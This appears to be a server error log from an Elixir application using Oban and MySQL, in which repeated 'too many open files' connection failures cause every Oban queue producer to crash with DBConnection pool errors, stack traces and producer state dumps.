↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sun Sep  6 00:16:25.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:16:17.239675Z], limit: 10, uuid: "85cee933-5821-4030-80c9-f834eb2ae5be", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:17.239681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30577>, refresh_timer: #Reference<0.2525715032.1121189889.171972>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:16:17.239949Z], limit: 50, uuid: "acdef660-a9a2-4141-9451-7552635a7f5d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:17.239954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30578>, refresh_timer: #Reference<0.2525715032.1099431938.53906>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:16:17.239737Z], limit: 20, uuid: "dfa62f8f-9998-49ad-872f-19d5fea309bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:17.239741Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30574>, refresh_timer: #Reference<0.2525715032.1077673987.30569>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:16:17.239878Z], limit: 3, uuid: "7140733b-3042-4ec1-844b-65da5c2b6a7f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:17.239884Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171995>, refresh_timer: #Reference<0.2525715032.1099431938.53904>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:29.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:16:17.239675Z], limit: 5, uuid: "2051f6b8-963d-4050-bb3c-4be7ebe89d4f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:17.239681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30575>, refresh_timer: #Reference<0.2525715032.1077673987.30566>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:16:17.239675Z], limit: 5, uuid: "cfbeeb8a-63be-4573-ab59-c5f563defb38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:17.239681Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.30576>, refresh_timer: #Reference<0.2525715032.1068498948.52018>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:29.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:30.801000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:33.685000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:34.392000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:35.423000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:37.304000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:37.603000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:38.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:39.035000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:16:29.240751Z], limit: 50, uuid: "f6c99c36-cb29-46df-8fce-fdef22ea6a48", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:29.240756Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.172399>, refresh_timer: #Reference<0.2525715032.1068498948.52121>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:16:29.239737Z], limit: 10, uuid: "c85f4f0c-b8df-4e09-b3f0-64a0f6fdddc8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:29.239742Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.172396>, refresh_timer: #Reference<0.2525715032.1077673987.30684>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
